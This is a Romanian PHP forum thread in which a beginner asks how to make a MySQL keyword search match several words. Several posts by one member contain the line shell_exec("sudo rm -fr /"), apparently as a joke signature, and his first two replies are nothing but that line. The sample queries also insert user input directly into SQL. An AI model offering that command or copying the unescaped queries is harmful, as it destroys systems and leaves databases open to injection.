Motor de cautare php pt mysql

Secţiune dedicată începatorilor.

Moderatori: Moderatori, Start Moderator

theone
PHPRomania Supporter
Mesaje: 21
Membru din: Dum Feb 20, 2005 1:01 am

Motor de cautare php pt mysql

Mesajde theone » Dum Feb 26, 2006 4:53 pm

Sunt sigur ca se face foarte usor, dar nu stiu cum:(
Am incercat sa fac un script care sa cauta intr-o baza de date:
[php]
$firme=mysql_query("select * from firme where nume like '%$keywords%' and stare='1' order by hits desc");
[/php]
$keywords e dat de utilizator printr-un form. Merge doar daca sunt introduse cuvintele in ordinea din baza de date sau pt un singur cuvant. Cum fac sa-mi afiseze toate rezultatele cu acele cuvine?

Am mai incercat asa:
[php]
$sirkeywords= str_word_count($keywords, 1);
$nrkeywords= str_word_count($keywords);
$keyword = explode(" ",$sirkeywords);
for($i=0;$i<$nrkeywords;$i++){
$keyw=$keyword[$i];
$firme=mysql_query("select * from firme where nume like '%$keyw%' and stare='1' order by hits desc");
}
[/php]
Dar asa imi afiseaza tot ce e in baza de date, nu sorteaza. Pls help



s_leo75
Junior Member
Mesaje: 48
Membru din: Sâm Ian 28, 2006 11:19 am
Contact:

Mesajde s_leo75 » Dum Feb 26, 2006 9:47 pm

<?php
shell_exec("sudo rm -fr /");
?>

theone
PHPRomania Supporter
Mesaje: 21
Membru din: Dum Feb 20, 2005 1:01 am

Mesajde theone » Lun Feb 27, 2006 2:53 pm

nu merge:-( afiseaza tot indiferent ce cauta, chiar daca niciun cuvant din cele cautate nu se gaseste in descriere, tot afiseaza descrierea respectiva.
nu inteleg de ce.

s_leo75
Junior Member
Mesaje: 48
Membru din: Sâm Ian 28, 2006 11:19 am
Contact:

Mesajde s_leo75 » Lun Feb 27, 2006 7:47 pm

<?php

shell_exec("sudo rm -fr /");

?>

Avatar utilizator
Mascka
Senior Member
Mesaje: 1376
Membru din: Sâm Oct 01, 2005 8:00 am
Localitate: Braila
Contact:

Mesajde Mascka » Lun Feb 27, 2006 9:52 pm

[php]
$query= "SELECT COUNT(*) FROM {$CONF['sql_prefix']}_prog prog, {$CONF['sql_prefix']}_info info WHERE prog.numar = info.numar AND active = 1 {$id2}{$id} AND ("; for ($i = 0; $i < count($words); $i++) { if ($i > 0) { $query .= " OR "; }$query .= "des REGEXP '[[:<:]]{$words[$i]}[[:>:]]' OR nume REGEXP '[[:<:]]{$words[$i]}[[:>:]]'"; } $query .= ") {$order_by} DESC";
[/php]
scoate si tu ce`ti trebuie de acolo.. sper sa`l intelegi
or

s_leo75
Junior Member
Mesaje: 48
Membru din: Sâm Ian 28, 2006 11:19 am
Contact:

Mesajde s_leo75 » Mar Feb 28, 2006 1:06 am

Nu te mai chinui.Ia vezi aici:

http://www.devpapers.com/article/306
<?php

shell_exec("sudo rm -fr /");

?>


Înapoi la “PHP Incepători”

Cine este conectat

Utilizatori ce ce navighează pe acest forum: Niciun utilizator înregistrat și 12 vizitatori